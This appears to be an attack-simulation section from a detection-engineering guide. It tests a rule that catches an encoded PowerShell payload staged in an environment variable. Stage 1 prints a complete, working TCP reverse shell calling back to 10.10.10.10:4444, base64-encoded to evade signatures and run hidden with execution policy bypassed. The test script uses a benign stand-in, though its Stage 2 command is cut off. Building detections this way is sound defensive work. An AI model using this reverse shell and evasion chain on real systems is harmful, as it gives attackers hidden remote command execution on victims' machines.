The Evil MSI Background Returns

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:
  The attacker first injects a base64‑encoded PowerShell payload into a process‑level environment variable named INTERNAL_DB_CACHE. This payload, when decoded, launches a reverse shell. The attacker then invokes a second PowerShell process that reads the variable and executes it via ScriptBlock::Create, thereby keeping the malicious command out of the immediate command line. This “living‑off‑the‑land” approach avoids static signature detection and leverages the two‑step pattern the rule is designed to catch.

  1. Stage 1 – Encode payload and store in env var

     $payload = '$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
     $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
     [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process")

  2. Stage 2 – Execute the encoded payload from the env var

     powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command [ScriptBlock]::Create([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($env:INTERNAL_DB_CACHE)))

• Regression Test Script: The script below automates the two steps, captures timestamps for correlation, and inserts a short pause to let the first process finish before the second starts.

  # ----------------------------------------------
  # PowerShell simulation of env‑var encoded payload
  # ----------------------------------------------
  
  # Step 1 – Encode a harmless reverse‑shell payload (replace with your C2 address)
  $payload = '$Sleep = 5; Start-Sleep -Seconds $Sleep'   # Small benign payload for safe testing
  $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
  [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process")
  Write-Host "[*] Environment variable INTERNAL_DB_CACHE set."
  
  # Short pause to ensure the first command is logged
  Start-Sleep -Seconds 2
  
  # Step 2 – Execute the payload from the variable
  powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command `
  Write-Host "[*] Payload execution triggered."

• Cleanup Commands: Remove the temporary environment variable and terminate any stray processes created during the test.

  # Remove the test environment variable
  [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $null, "Process")
  Write-Host "[*] CLEANUP – INTERNAL_DB_CACHE removed."
  
  # Ensure no orphaned powershell.exe instances remain (exclude the current session)
  Get-Process -Name "powershell" | Where-Object {$_.Id -ne $PID} | Stop-Process -Force
  Write-Host "[*] CLEANUP – orphaned PowerShell processes terminated."